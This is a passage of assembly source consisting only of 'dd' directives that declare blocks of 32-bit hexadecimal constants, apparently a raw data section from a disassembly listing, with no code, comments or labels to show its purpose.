dd 0A3119BE2h, 0ED80B49Eh, 0DED02C9h, 8BC3A7CCh, 90535C36h
dd 0EFB72E2Eh, 834DF2DEh, 7E19288Ah, 601F1C19h, 278EDB0Dh
dd 0A9059845h, 0ACBE4B00h, 0C4B22067h, 16B41841h, 52D7B657h
dd 0FFBFE072h, 0CBDFE06Fh, 0E879EAFFh, 1678EA0Ch, 753FBC9Fh
dd 0B8FC1ACAh, 1634E9B1h, 36ECDFD5h, 0D6FA52D4h, 0B737D018h
dd 8C142190h, 5F4EB28Eh, 769B9AB3h, 0F1DA9B5Ch, 0FB273C44h
dd 0D64628B2h, 0BDD0F4B0h, 725112B4h, 85F2B178h, 0A2AAC8D0h
dd 4282C581h, 0F7FF349Ah, 5D9F6B01h, 4D39EDB5h, 62C342D2h
dd 0AE78809Bh, 0D575C26Ah, 99CAB4B8h, 0BE37B2DAh, 20C6AF09h
dd 0D5EFF8E3h, 0DBA12D37h, 4C9F35F8h, 7CA93AD9h, 66E5316Ch
dd 9D1351A8h, 342BC95Bh, 5F5E6F8Eh, 99F3E9E8h, 0DCF4361Fh
dd 406A1B5Dh, 5F9095EDh, 4412734h, 0D564DA6h, 369F1DC7h
dd 0EC6DF843h, 559EEF2Dh, 0AFFDA48Bh, 30B97B6Eh, 0CC5F1A6Fh
dd 0CD9E30C3h, 30434721h, 0B3BA69BDh, 0A5590C9Fh, 0A8D1C752h
dd 0F43B5A51h, 89643287h, 0A11E91Ch, 64060C07h, 64063467h
dd 9D8CA028h, 0DD2B64Bh, 0DD84CDEBh, 0F9924A34h, 0A6551E5Dh
dd 0A994F924h, 0C74F0789h, 7410E63Fh, 84610E29h, 713BEBE2h
dd 0F916566Ah, 7CFF7FA6h, 6D1AB034h, 0F1230BB0h, 9589EE11h
dd 8867C8F7h, 0E58233BEh, 8165EC0Dh, 57164AD1h, 44CB57CCh
dd 42EB2A22h, 8C4AFC73h, 6112921Bh, 0FF44B09Ch, 0F9BD586Ch
dd 24B76DA0h, 0E9F195ABh, 0BEC83C86h, 98F0B9E1h, 2DF99BA3h
dd 40803FF7h, 0E80591DAh, 6D5F8346h, 1638F6B5h, 95E98565h
dd 0CD613401h, 0CA2457A1h, 16F24BC5h, 2D649888h, 2F4DBF75h
dd 66EB0476h, 7721A48h, 8CE6F8C7h, 14182C12h, 0FE47B46Dh
dd 0A82A2C5Bh, 1A7E5AC7h, 2A6BB73h, 6BF44591h, 552CD9FDh
dd 9D186804h, 0E40C2311h, 200EE403h, 97531C56h, 0B7044D37h
dd 84B7EDE8h, 7F786B93h, 0B681773h, 601A78D7h, 218E97D5h
dd 31C0BE75h, 9B9799B0h, 42839661h, 3CDF21B1h, 7C4A7517h
dd 3DE1A739h, 0B8C0BD67h, 0E8A11C88h, 1AB6D755h, 97876E79h
dd 94101BB1h, 28A80F0Eh, 15DB939Eh, 9BAE06BCh, 1653F647h
dd 5042509Bh, 81B1058Ch, 405C52D3h, 5B44E4EDh, 52565F3Ah
dd 3BE365A6h, 0BEF56DF3h, 34854602h, 5A679E9Bh, 0CFC26E07h
dd 0CC1C8906h, 40087A2Eh, 96FFF066h, 4FB78BE7h, 42258389h
dd 20227D86h, 27CA6AA6h, 8E4C8563h, 33457A45h, 61631946h
dd 16644F7Eh, 5811B8AEh, 0FE681BE0h, 3F1707B2h, 0FD5CDC24h
dd 67FE8B13h, 66DFFB3Fh, 0FD8749B4h, 0A6DD898Dh, 47A9C634h
dd 441E1411h, 63AAE17Dh
dd 61757260h, 0CE91A38Fh, 25D85B50h, 93BD0302h, 769F810Bh
dd 0F533CC78h, 52C9E82Bh, 0D825968Ch, 0B989CC18h, 31078335h
dd 3CEA97A0h, 0AD79AB23h, 0C4EE0A25h, 64B27F2Dh, 89D7F2BFh
dd 0EA33B42Dh, 0DBD6F952h, 6622EBFFh, 673958A4h, 3CC35155h
dd 9A17155Ah, 4A99A3FDh, 0B99B6C80h, 0F5436CD4h, 7AB530h
dd 6F928182h, 4B9E13E8h, 8E55DC2h, 0B9AD163Dh, 8FF6C711h
dd 124C223Ch, 73D903A4h, 0E20532E1h, 0F71D7BE7h, 0D785977Bh
dd 0B7FB0F67h, 3DE5E768h, 3F712DF4h, 0E56F4DAFh, 0EFA0AE53h
dd 225A2D3h, 9F2B078Ch, 54D1A931h, 73EC114Eh, 0B8EE07D4h
dd 967B302Dh, 8FA75213h, 0DE834B39h, 867AB1A6h, 194F3E0Ah
dd 98ADA6D8h, 1143D1A5h, 986B433Fh, 5A98B58h, 2F6781ACh
dd 7E207E53h, 1EA841Bh, 79885C32h, 46AB8B83h, 86295D17h
dd 0CFD8B967h, 2D287A2Ch, 9DDDE9A9h, 4470C375h, 0AF5298F2h
dd 4C0820DAh, 6B6411C5h, 2847A530h, 0D399256Dh, 0CF21646Dh
dd 0BBAC6A2Eh, 7213D591h, 3490C83Dh, 2D13185Ah, 0F719F4C7h
dd 917D07AEh, 925BF60Dh, 0B58A4288h, 701520C5h, 0E2ED2DDDh
dd 0F252762Bh, 0FD286D00h, 217A8202h, 5F65197Eh, 0DB9F1ECCh
dd 8531B3CFh, 7058B6C0h, 76D86884h, 0C7BBA1F4h, 0EC594146h
dd 3A679AE1h, 0FF83610Ah, 0CD4E5396h, 24831210h, 5A9C1942h
dd 71468DF9h, 0AA30D81Fh, 3CB42AA6h, 0D8226E3Fh, 7E81D2E3h
dd 4B19A271h, 0FF63C0Eh, 0C42AB547h, 771BC567h, 0FE07CFF1h
dd 5E3403D3h, 0E7F0B755h, 9B56B409h, 1BB6085Dh, 354E1C56h
dd 0FD9F2166h, 4F216EE8h, 64F1691Dh, 0A5D3C20h, 0DEA31F84h
dd 98F2B604h, 83D78D70h, 0E7C98250h, 4F99E1C5h, 0A83C21Ah
dd 81570B76h, 49AA8072h, 9DD52500h, 9CF5B0FFh, 0AB71A97Eh
dd 0C8063DA0h, 2F5B6A03h, 0CB3CF72Eh, 0E266A0Fh, 0AEFF7865h
dd 1F62E6B2h, 0ADAB965Ah, 1EB706D9h, 0ECA430E5h, 6E7B5DCAh
dd 5FE425EFh, 38A6B61Bh, 33D28665h, 601947FDh, 0D954AAA6h
dd 0B8A1333h, 2D0DAD45h, 527C8E2Eh, 53ABE523h, 5E7B305Dh
dd 0DF99C2A5h, 0E4A4D09Ch, 0C31526CFh, 5561C272h, 0E0E7987Ch
dd 2DDAA615h, 7E2F4052h, 1058953Dh, 0EB308B65h, 0E1D8B290h
dd 8F1798FFh, 4141A71Eh, 9C7C05BEh, 3124AE18h, 0FDAC50D1h
dd 7EDAA7D1h, 1E8BC620h, 44D35E83h, 764B24E4h, 0A29EB462h
dd 1B0C0037h, 0D928583Bh, 97A86C36h, 3F551E72h, 0F3675D39h
dd 0FC37400Eh, 14545C38h, 9549D734h, 0A801D60h, 7BB04F1h
dd 63FDCA89h, 55859921h, 823E4833h, 0E605DE12h, 20BE6157h
dd 500761B7h, 0CF74A4EAh, 13367C9Ch, 40821AC2h, 2CE7AA46h
dd 0C4F13A6Dh, 40F4CC28h, 0F4C96505h, 7F305352h, 4F3CBDE2h
dd 0AEDCF1D1h, 9376D454h, 466BF7DDh, 0BDD02F5Ah, 2A881E1Ah
dd 0F6820AEDh, 0C48A4EBh, 9347C50Fh, 0B7C1D73Bh, 0EA72BAD3h
dd 0B6331227h, 1D82EBECh, 7EF54660h, 9DBDE267h, 0D0857EDBh
dd 0AC126C97h, 13BFA758h, 0FCDCBB5Ch, 67F39A0Ah, 5B5B74C0h
dd 6FD33F9Dh, 1CE9B746h, 0A9A1F8E2h, 0DD536147h, 3D15B2B2h
dd 262B5249h, 0E5F090D3h, 844FBE9Eh, 3A3EC2F1h, 579A4AFEh
dd 0D45D03h, 0E0B3FAFCh, 0E90F1CA6h, 59BAF392h, 0F70804C0h
dd 0DA5B4EB9h, 5799B298h, 314763E4h, 97C7AEF6h, 0B65BC405h
dd 3715D549h, 5EB71AA3h, 0AE98C060h, 6615901Ch, 6B738381h
dd 0E0685786h, 94F8D426h, 6F562D03h, 350176D3h, 1A828624h
dd 6643379Eh, 1F995441h, 0F67D1269h, 1596835h, 1CB89B1Eh
dd 143C3101h, 1AB27A79h, 11641614h, 0EA804030h, 4C1210BAh
dd 749272BCh, 0FF0BDF5Eh, 0F7826131h, 4600B558h, 9E31AC1Eh
dd 6E8B7D12h, 675EDA97h, 0E2A8F510h, 0ABC32486h, 0D8FFF742h
dd 5F043034h, 5E898B5Ch, 0C8FC18CCh, 6AC36FBAh, 0FE397F6Bh
dd 4F87CE17h, 0D21CAF36h, 0B001D7E7h, 0DAE1D176h, 2DF93E46h
dd 749B45C6h, 1C6303EEh, 34522169h, 47648DEAh, 864CF452h
dd 744F5832h, 0DA6E5E25h, 9B7B4440h, 37F4D4F8h, 0D231CB0Dh
dd 2ADD6EA7h, 0E06161A8h, 9BF32618h, 440B0CD0h, 6C3590B4h
dd 6B8749B6h, 0EEA77A44h, 3EE7B28Ch, 0D135C096h, 0E9EC2565h
dd 85951330h, 0ACA01073h, 0E5BCE1B8h, 0A1F6ABCh, 6E0B7121h
dd 3E88D686h, 4EF579B7h, 3E2D6A31h, 9E4232B2h, 10DFC824h
dd 68AA61E8h, 0D731C45Ah, 0EF7BAA3Fh, 4CAA9A46h, 0F37A85DFh
dd 2D3EE089h, 3B59D287h, 0EFAF47E5h, 0DFC3CD11h, 433487B2h
dd 0D2419CACh, 0FE4CB5D3h, 41DE6B27h, 4D26FADh, 4C505C70h
dd 0B52FAE08h, 5AD2DEBDh, 279B6692h, 769C8448h, 37E894D9h
dd 112AA023h, 2B89E540h, 9732F50Ah, 4CC9129Ah, 0B8A3444Eh
dd 9967D61Bh, 33D24EEAh, 0EE40A0DAh, 0A8AB0F23h, 0D9AA482Eh
dd 52374002h, 3286AECDh, 0B993CAAFh, 0ADAA3DD8h, 68087D6Fh
dd 0BF9E051Eh, 1F272103h, 500AC654h, 9ECD4B22h, 8B6B0E60h
dd 4E4CA06Eh, 3B0B3A15h, 4DB49997h, 0F9298B41h, 762F60DAh
dd 0FEE6255Dh, 108CEC2h, 8E072264h, 0EC55788h, 943CF8ACh
dd 0ED0C98BCh, 569101FAh, 0F5AD9F72h, 0E00C9477h, 0EC363F69h
dd 8E7684D6h, 0BFF8C7C1h, 0B4A43536h, 0C1E71020h, 5C1E8451h
dd 0D74F00A9h, 253858Fh, 54D23C91h, 0D879F75Dh, 8CF4FA42h
dd 0C9394A23h, 5ACBEBB4h, 2DF7FB28h, 2A4F47Dh, 7772CFCCh
dd 0A192FB8Eh, 0C5F8C6BBh, 259640E6h, 3C3F7EDDh, 0C38CDBAFh
dd 11F11804h, 0A41A2BC1h, 2E8CA7Dh, 7EDD4724h, 0D9B63B2Ch
dd 361D54BDh, 477BD2D1h, 710AED3Dh, 0D159CA7Bh, 1EBEAA0Fh
dd 94CEA8A9h, 634F0DB3h, 3E37272Bh, 0A8D352C3h, 570CDD1Bh
dd 8F16B1E5h, 5F2615Ah, 30AC9088h, 205CC916h, 0F7A1D425h
dd 19A6ECE9h, 0FF40EB54h, 3415A761h, 0B575A500h, 0EC6D6271h
dd 0C8B738D7h, 81495172h, 0B479F004h, 2588A211h, 5AF3456h
dd 25E4FD86h, 6C2AD586h, 1B2A48BAh, 958C8212h, 98F915A1h
dd 120FD729h, 36146EB0h, 5DBFE06Bh, 922C873Eh, 5903CE43h
dd 44F754FCh, 0A7D6EF2Ah, 0F159D832h, 485C2FD5h, 9C3B641Fh
dd 72039FF3h, 47F0AC34h, 0BD96F3AEh, 765EA610h, 0C13C26DCh
dd 5DFD843Ch, 33A675E1h, 0FA8ADAC6h, 8D14866Ch, 0A05D0091h
dd 7871DE7Ah, 0B5935F1Bh, 1385B299h, 756281AFh, 19F25F72h
dd 0F11D98ADh, 0C3ABCF10h, 23A92914h, 6E5EDE7Ch, 0A31EE08Dh
dd 0A37DAB82h, 43533641h, 4CBB78C7h, 6269D826h, 0B704CB4Fh
dd 58972CA0h, 86998B9Ch, 8E77FD02h, 0CEC5C73h, 0C3E563E1h
dd 0F366980Eh, 0D0804DA9h, 0D8B12B3Ch, 94CA663Bh, 163A58B1h
dd 0C524151Fh, 61670D41h, 12A195FCh, 0BCC1B7CAh, 64F270A1h
dd 0CFC66195h, 0F95E0A5Eh, 13580ACFh, 5DA334A9h, 25407728h
dd 0F7B0C050h, 6926918Fh, 9D8ED11Ah, 3AB039D0h, 57F73FA4h
dd 0E16E78AEh, 0F1A5D392h, 0D03F101Ch, 0E3F18121h, 160BD959h
dd 0C9166FF8h, 0E5B8E0B0h, 922D07ACh, 99038E1Ah, 4F774C0h
dd 47D69F24h, 0B959C12Ah, 305C2BDBh, 0F83B661Dh, 0EC0398F2h
dd 1EF0AD34h, 5916F32Eh, 0E79EA6D1h, 0F65C26BCh, 59033E13h
dd 1CB37C5Dh, 36EADB7Ah, 0E4CAD24Bh, 6DD420E1h, 0B51F3914h
dd 1881BF8Ah, 17F3BCF6h, 5D0B738Fh, 259AE200h, 0B73CEAC4h
dd 0A98B0A5Fh, 0C4B847Bh, 6414BF71h, 0D7869779h, 956DA0C2h
dd 0F5B4990h, 5CBF7D46h, 622CDD49h, 0B70BCBB7h, 0B896ACB2h
dd 0DB8C585h, 0EE45DF1Fh
dd 428DACFBh, 27841FD8h, 5F669C68h, 0F48043DCh, 0EEB12AFCh
dd 9DCA66F5h, 1AAA588Bh, 0C7E4154Fh, 66470D63h, 5111958Ch
dd 96F9B782h, 59A11E1h, 0C3C86187h, 79570B1Fh, 535C8A37h
dd 0BFA1F4B9h, 0B54397F0h, 8FB34050h, 8D26D99Fh, 0C38EED1Bh
dd 2D700BC0h, 2C1B61D6h, 38AE7FCDh, 0F0C5D218h, 0D8CF11CCh
dd 0A4298137h, 1627D9A7h, 0C9606FE0h, 0E5A1E0ACh, 0D22187B2h
dd 19404E05h, 0C4F614DFh, 67D60F5Bh, 515E087Ah, 385C37F1h
dd 0F43B700Dh, 0EE0391CAh, 1DF0D138h, 5A96F1A8h, 67DEA190h
dd 0B67C279Ch, 0B9133E83h, 0CBB7C85h, 0CEEEDB06h, 0E0C8D246h
dd 0D3D720D8h, 981CB918h, 9401FF70h, 86339CF4h, 852B438Eh
dd 26ADA00h, 0C124EEC4h, 0A087085Fh, 10CD877Bh, 48D5BC71h
dd 0A4DE718Dh, 0F2DC6302h, 0F232AC4h, 5CA36AA6h, 6222D477h
dd 0B702D777h, 0B8922E4Ch, 8DBA3AEAh, 0E4A3E08h, 4CEC3C40h
dd 63E53364h, 0B366B06Eh, 3881B1D2h, 0CCB13155h, 0AECA61E7h
dd 112A59B7h, 4BA4158Ch, 0A4270D82h, 3201959Ch, 4F31B79Ah
dd 6CAA7099h, 0B3AA6199h, 0FB440B78h, 8C570AC8h, 9E25B4A8h
dd 8501B728h, 87907050h, 8129619Fh, 8186A91Bh, 0B42DC0h
dd 40F535A4h, 0E0E987AEh, 0F0E45692h, 0D8DF569Ch, 0A421A01Bh
dd 1623A979h, 0C9627768h, 0E5A2E4E8h, 92220590h, 99020934h
dd 84F635D7h, 7D63FDFh, 415E30B8h, 0A05C3390h, 0B03B723Dh
dd 880392C2h, 0CF0D23Ch, 4216F22Ah, 0E31EA653h, 709C267Dh
dd 98233E73h, 7C037C0Dh, 0C612DB42h, 0FF16D264h, 51E620F7h
dd 5F64390Fh, 0B59D3F4Bh, 0B67D7CF6h, 0DCA538Fh, 4E7A5200h
dd 0A32C22C4h, 0B380E65Fh, 0B4F967Bh, 4C9AB471h, 0A2BFFD0Dh
dd 0F3CC1D42h, 0FAB0BE4h, 5C649AB6h, 6200CC8Fh, 0B731D37Bh
dd 0B969A04Eh, 0DA67BEBh, 4E441E08h, 0ACED0CC0h, 73E58B27h
dd 8B66744Eh, 3C8057A2h, 0C2B1201Dh, 0AFCA69C3h, 11AA5525h
dd 0C86417D5h, 0E4070EBEh, 0D2718A92h, 0DF29B612h, 14A6705Dh
dd 0D7AC617Bh, 65450B69h, 0D5578AD0h, 0FAA674D4h, 94C1D726h
dd 1EF06057h, 45D9699Ch, 0A75E951Ah, 31982FC0h, 484332A4h
dd 0EC1086AEh, 0F2F8D612h, 18EE965Ch, 0C7139628h, 25D4354Dh
dd 0DCC3B7BBh, 0F5B30488h, 64AF551Fh, 0E98F3443h, 82BAB46Ch
dd 0AA37DA1Eh, 31698248h, 2B6FF5B0h, 0AE4E5396h, 7A8AA1E5h
dd 2EE04201h, 439689DBh, 0B9DFF14h, 20BD2369h, 4432CF2h
dd 0B9C86DC2h, 76453E2Ch, 0CB15D49Fh, 9B8D3500h, 570FA90Bh
dd 0E9153AC2h, 34F05211h, 47B3FA88h, 6BC222C0h, 86AB36C5h
dd 0AB9C1827h, 5A1A41F2h, 489BDDB2h, 0B4446D8Ch, 0E04E21F6h
dd 0BCC9F7Bh, 5C579C6Eh, 6A78DD87h, 4829FE79h, 0B991EA5Dh
dd 0ADCC83F8h, 7157180Fh, 8C12FD55h, 0D62608F7h, 6FE7B126h
dd 8066B2h, 0F1E64E56h, 0A8B7EE29h, 0B2AE5C3Bh, 202416CAh
dd 0C418F154h, 0E1D9FD2h, 101CA652h, 135D8F82h, 0DBAEEDCFh
dd 61626361h, 0C3A91AD5h, 0E926C8A2h, 438D8AAAh, 36D865A8h
dd 25C9709Ch, 48561497h, 0C1CCAE3Fh, 4C41635Fh, 6303422Dh
dd 0C00D751h, 0AD6ED61Ch, 16598A65h, 16BF899Ah, 0A9C4D758h
dd 0BC8BFCACh, 1F9018CDh, 664FCF4Bh, 4778D2A3h, 2F83FEC0h
dd 215928F3h, 594C5BD3h, 8C531A9Eh, 7C13AB76h, 0AF0F75Fh
dd 0AB40A19Fh, 0E29EEAC6h, 7DCFCE2Fh, 273C3973h, 0F87B2D33h
dd 7E0ADB46h, 171283ABh, 659079A7h, 9A75380Dh, 0B260C75Ch
dd 63A363E9h, 0FD75F01h, 6FDC7A6Bh, 0ECC9C5D4h, 78C8E2A3h
dd 84C6112Eh, 0C3D3A59Dh, 5EE00D48h, 0F0B61DD7h, 7269ADB4h
dd 5B77366Eh, 62F33B24h, 0C3C5013h, 0A96D504Eh, 48137EBAh
dd 794831F5h, 0E3BE7385h, 2A1D8810h, 9B665583h, 5679901Bh
dd 36F4AF82h, 0A1CA0922h, 0E95DCA19h, 8D5319A9h, 0CCC85E5Fh
dd 0FA01786Ch, 0EF59525Ah, 6CB60583h, 9FA03054h, 5A67CFE2h
dd 40B665Dh, 0B1437D83h, 167E7F74h, 4DCF1056h, 34F985E8h
dd 0B70A9F72h, 2115ACD0h, 4DCE0A4Ch, 637BD8AEh, 87D852D1h
dd 0CB379BC0h, 64AA4532h, 6341E57Ch, 19C45C4Ch, 668B308Dh
dd 7A04735Eh, 19188146h, 0C2CDBA8Ch, 0F22AB25Fh, 1599A00h
dd 85B0172Bh, 41B2198Eh, 0C50B47E9h, 1AD2D5Eh, 4969E02Bh
dd 72DE5534h, 0B00C35D7h, 0BDE7C6E6h, 0DC1A7B9Fh, 51E0F34Ah
dd 2E938B6Bh, 5BFBD0EEh, 8FB5CC0Bh, 0B61D9738h, 0DFD51CF9h
dd 95557C75h, 9EBBAF88h, 984D2EC4h, 0BAD2B0CAh, 251E1B6Bh
dd 88C2AD04h, 4A9283C8h, 0F0C9B06h, 0F78F2864h, 0AC148BE6h
dd 329A2497h, 0A72C0E06h, 327DB6B4h, 8BF4F3DAh, 8AC700Bh
dd 0CA668ACBh, 0A06F8E21h, 9D12956Bh, 7C7F22A8h, 3CCC99BCh
dd 0A2CA6997h, 12AAB563h, 41D13407h, 0CE853528h, 0B3AAC92Dh
dd 0AF6A3613h, 0B73A8A08h, 0AB154Bh, 3B01B5Ch, 412D2AC4h
dd 0E0D6A477h, 9522B437h, 48113607h, 0ADB25F9Ch, 0E225C4F6h
dd 0C5E5B049h, 4D9D3034h, 515BD7FDh, 768F5790h, 248DA8ECh
dd 58E12FCBh, 5F770169h, 0FA51748h, 0CEFFC25Dh, 9356C6FEh
dd 676858BDh, 8BA52C2Ah, 6F856169h, 1592F17h, 36D95899h
dd 600A4809h, 786BB089h, 0E0E0A6EFh, 0BBE905A8h, 8A154E7Eh
dd 611CC6B9h, 0E71E641Eh, 0FDD22430h, 2F5985E3h, 0C7DD8F78h
dd 49FA697Bh, 0A82AF93Ah, 0E379B61Ch, 517A96AAh, 1B48F989h
dd 6EBBFB74h, 674DF14Dh, 442F01A0h, 0C7169E0Eh, 0B41FC9Ah
dd 0B3197CF1h, 7D4D7743h, 67BA7721h, 5C044AF3h, 62E8D3C7h
dd 0E5D1D00Bh, 7E6DC80Fh, 0A5248BAAh, 4A2D6118h, 7C12CC4Ch
dd 0B3F5CB4Fh, 94993DCFh, 0E4D367E2h, 3AB15188h, 0A2362854h
dd 5AA531Dh, 35219BFDh, 938F64F8h, 53B175D6h, 0D6525E03h
dd 2C3F707Ch, 0DA48E810h, 0F8C85EA2h, 0C73BD984h, 0E2CD75BCh
dd 118EA9CFh, 0D9B3A957h, 0DBE6F667h, 86FAF0E5h, 4009BC00h
dd 4E7322E1h, 0AFB580AEh, 7E06BDEEh, 0B3236A19h, 9B5650FEh
dd 16410641h, 1FC44C30h, 8C8B289Ch, 91BF73DBh, 5C91DC33h
dd 0C9F1B928h, 0CF855E1Bh, 0F15976FEh, 0C8A36158h, 0EAD31F6Dh
dd 0A303AB32h, 0E78D25B0h, 9503F7C3h, 8A2E0AFh, 0CD79A873h
dd 10FB53A6h, 2DEB8230h, 0F69133F0h, 0F395D294h, 1211A9A5h
dd 8FE2ECC8h, 0EE972C19h, 2BF9B5F1h, 0F36AE060h, 477EF8Ah
dd 60F1BBC0h, 0ABC9940Fh, 0F8419D7Bh, 1D87AB8Eh, 0A1F91465h
dd 0FC0CB482h, 0FED68ECh, 36F80F4Fh, 9E52A9A3h, 0A73FE75Fh
dd 4605CA40h, 0DEA47413h, 8E0F2FE3h, 8F2EB941h, 0CCE5D99Ah
dd 26EF85BAh, 9D840D0Eh, 52E1E4E0h, 5B3505A7h, 86795313h
dd 49245ED7h, 668B87F0h, 57D575EBh, 0E7605E54h, 3C83707Ch
dd 2F3A20Bh, 13A28A84h, 91500AD5h, 0EF7ABF80h, 0EF72D2A4h
dd 0DB512FA8h, 0DBF7E939h, 127581E5h, 0D693A73Ch, 0B124ACA4h
dd 0AAC07F50h, 768641E1h, 248C28E0h, 12573056h, 0E94035CCh
dd 4CB16E87h, 1A74D3F0h, 6CA3FC01h, 0F34820F5h, 89F5A6D8h
dd 0B82B5F5Dh, 613336C7h, 0B01B5638h, 3BFDC51Dh, 8777548Ah
dd 0A8550F1h, 42FD38FFh, 0BDDE6510h, 0ADB0AC2Fh, 0BD8A6C34h
dd 59BE2E9Fh, 0C9428B5Fh, 0DBAAD6F2h, 0ED0C288Bh, 0E067394Ch
dd 0B3653C8Ah, 7E76BF8Ch, 1F832874h, 0E7CFA15Eh, 8C50A921h
dd 0D1D8800Ch, 0F76E197Bh, 1E015F21h, 6535FE0Dh, 0B58EC4CEh
dd 84ED48D4h, 198D7613h, 27A0538Bh, 0DDD1DB63h, 0DF6DCC15h
dd 8056301Ch, 0DE2D975Ah
dd 649B7794h, 53A2934Ch, 449ED60Eh, 0F4B163B7h, 0E801B46h
dd 414336EBh, 9BFF904Ch, 0DB08951Ah, 0E5764F8h, 0E2540728h
dd 0EF0C5E00h, 202D707Ch, 0CA6F0747h, 92470991h, 86DD8691h
dd 0A212FB22h, 0BA9C737h, 3FB04010h, 0A9CB1C15h, 0A6645D47h
dd 2105D493h, 4DD0204Ch, 15C604AEh, 333CD267h, 1B421537h
dd 77DEDB7Bh, 9FEB1A14h, 36288585h, 19632899h, 175767D4h
dd 281CA3F5h, 0F5F62717h, 0A488E39Fh, 0D2BCEF2Dh, 0EE0F8A1Ch
dd 0B4515C67h, 0DEF3EEC7h, 0DBF6C90h, 4E527BC8h, 939B6246h
dd 0F5BB2576h, 0B813291Bh, 0FC4EF0CFh, 1EC29E2Eh, 289D2DC2h
dd 0B3A1E016h, 0E9A7300Bh, 0B3E200B2h, 0B39E907h, 7A28A848h
dd 0E63104DBh, 0C9677328h, 57470DD6h, 507BC46Fh, 0C595E9FAh
dd 833571D8h, 0F38F3B02h, 1F872BC4h, 19896ACCh, 12FF0407h
dd 34399778h, 7E0BC2A8h, 8DA69ABFh, 1EAB23F7h, 0C1EE884Ch
dd 26683D1Bh, 0CC310583h, 1E686FA7h, 0A5B11893h, 4134EC61h
dd 1CD5ACE8h, 0A46427F8h, 0B67285BDh, 0BAF5CFA3h, 0A06B952h
dd 0A182208Eh, 158A610Dh, 0EB3D08E8h, 0B514548Bh, 0B3EAE93Ah
dd 475452AEh, 55CCFB00h, 0CF399C17h, 49070307h, 0D6275DB5h
dd 677D2DD1h, 63398FE8h, 8CFACF54h, 24BBD799h, 6C7EA4F0h
dd 0E93B5B78h, 8CA62897h, 0BED57B38h, 1B02A6ADh, 0CE4E8AC1h
dd 0DE59024h, 0EC0E924Ch, 12590CBEh, 0DF50EB7Ch, 82D34471h
dd 2103AB0Bh, 820623BCh, 41E1D1D8h, 6F1FA966h, 939060FCh
dd 0F8DCBC04h, 5A5BF413h, 810F80FDh, 72D35BC1h, 0ED7D77A8h
dd 5E33B01Bh, 2679D492h, 4FA02FF8h, 0FB48AC84h, 6F266AEBh
dd 1966EBC4h, 92D6B8A9h, 0B6B6D8Ch, 0B03DC70h, 24453801h
dd 799400BDh, 54B3433Ch, 0D55050EBh, 354103EAh, 3C35CC30h
dd 0A486DF53h, 785B6AB1h, 3BB835B0h, 0E96B601Ch, 0B56CCD5Dh
dd 0E19A3D8h, 177FAF58h, 634631DAh, 0A035E856h, 0E9EFD8C9h
dd 493F48A3h, 0EF515D69h, 10575DEh, 13CA5E5Ch, 2A6F707Ch
dd 8AB39ACAh, 7E0F49Eh, 30DBFE2Bh, 0E697223Eh, 94DD5E27h
dd 0DA9A15A1h, 2FBB1654h, 3D179391h, 0C27A04C0h, 134C4BA6h
dd 636CDDF5h, 0E7E001F7h, 0CB1EEE0Fh, 0DEDABD11h, 0E256F399h
dd 4A2DF89Dh, 22ED2960h, 92559573h, 9F49C00h, 0C9F5CDBEh
dd 625853D6h, 0CE0A366Eh, 26B49688h, 653B4C4Eh, 95FD288Fh
dd 1BC1A20Ch, 0AE1DE323h, 631B2E2Fh, 29B327FCh, 6D63CBB2h
dd 68B391Ch, 27C68E28h, 0E145D01Dh, 39F27EBEh, 3A3EE4E7h
dd 0A0D09AC0h, 3A5B58FCh, 76F9F5DBh, 909F3603h, 98A38EC4h
dd 3E4B845Fh, 0F8D1357Bh, 0A4FF521h, 243B018Dh, 0FB78782h
dd 0F0DAF6D4h, 0D55C6F79h, 9E8ADAC4h, 3CC669C4h, 4696326Dh
dd 274C3AC7h, 7476615h, 963DEDAh, 7C1A3159h, 0E0A23D30h
dd 0B36877D4h, 234EE721h, 28436162h, 24A30848h, 9571D5A1h
dd 0DD0B8D4Fh, 0AC36DC7Bh, 0F722BE05h, 0EA62747Ch, 7D5BEA4Bh
dd 1EF6A9E2h, 0B7EE0AD4h, 2FEB3C8Bh, 5094FBAEh, 589DE9D6h
dd 0D02FF19Ch, 0B6E03499h, 0E04B0EF1h, 0C41FE729h, 0FAB2DAEBh
dd 0F2F0EF1Bh, 230137E6h, 945BFED0h, 178EA6A7h, 319BF708h
dd 6E3021ABh, 90DE9121h, 10E49C6Dh, 417E768Ah, 825CE37Bh
dd 311C5D7Eh, 35DF9A83h, 0E97A4CF2h, 3402ABB0h, 0E54DDA79h
dd 79FA396h, 7CB667Eh, 8A30A690h, 8946FA4h, 9F18758Ah
dd 415ADFA3h, 25B66A1Fh, 71C120FEh, 6F355C88h, 0FE5F8A2h
dd 0E29133F9h, 78B8B705h, 93344B13h, 2AAC80C5h, 2D2C9A5h
dd 8EDA7DF2h, 0B2CF8661h, 2A0F0D84h, 0A5C38F87h, 863D11A8h
dd 0E20A61D3h, 9E62D80Fh, 0B6CDD348h, 79DBC11Ah, 85257E0Ah
dd 3E12ED81h, 0A9118A94h, 83A046A1h, 679E1059h, 4CD5EC65h
dd 0A2B1825Fh, 0A4416DA6h, 0CC10DA1Eh, 43E416F8h, 3D4E55F4h
dd 0AE044975h, 38AE6B5h, 0EA7A0414h, 8375894Bh, 93AAF49Eh
dd 3CCEE212h, 8E32F4D7h, 48E3E8D1h, 5DF186DEh, 6195F99Ch
dd 6D2907E5h, 0A185B64Ah, 4290FEE0h, 67C66C10h, 0B684F816h
dd 20F7FF23h, 5DBEC7FBh, 271B5D4Ch, 3668721Bh, 0A1956194h
dd 6D12DB75h, 0C13119E0h, 870A8805h, 9BF55801h, 191CED6Eh
dd 0DED79876h, 643B4866h, 32732DC0h, 4979A679h, 1FA396h
dd 58D667Eh, 65F40129h, 83D75544h, 0F1B095CFh, 1207245Ch
dd 0DE46F67Ch, 73107901h, 3F37305Eh, 0C73FA91Ah, 7A4D14A5h
dd 0A325C005h, 3F05798Eh, 635D332Ch, 0B702C3A0h, 8F2A68F1h
dd 71E0FD34h, 0F1B34B00h, 0A04C348Fh, 0FA6CAACh, 50C112E6h
dd 0EAE8169Dh, 4108D584h, 0A18631D5h, 89972EB3h, 4A7C32D8h
dd 8B63981Dh, 0A3C57458h, 0E4FF5560h, 0E57EE2Dh, 0D8F1E655h
dd 9189E745h, 79D5169Eh, 1CA416E3h, 5B584827h, 0AF05896Ch
dd 1B958514h, 1A0586F9h, 0FDFD24C1h, 44AF4F22h, 6105838Fh
dd 353E115h, 464A6477h, 0D2956DDCh, 0D2D695E9h, 48995166h
dd 297A0A3Fh, 8DA5E6DAh, 0EA39A747h, 0EB713892h, 8873C89Ch
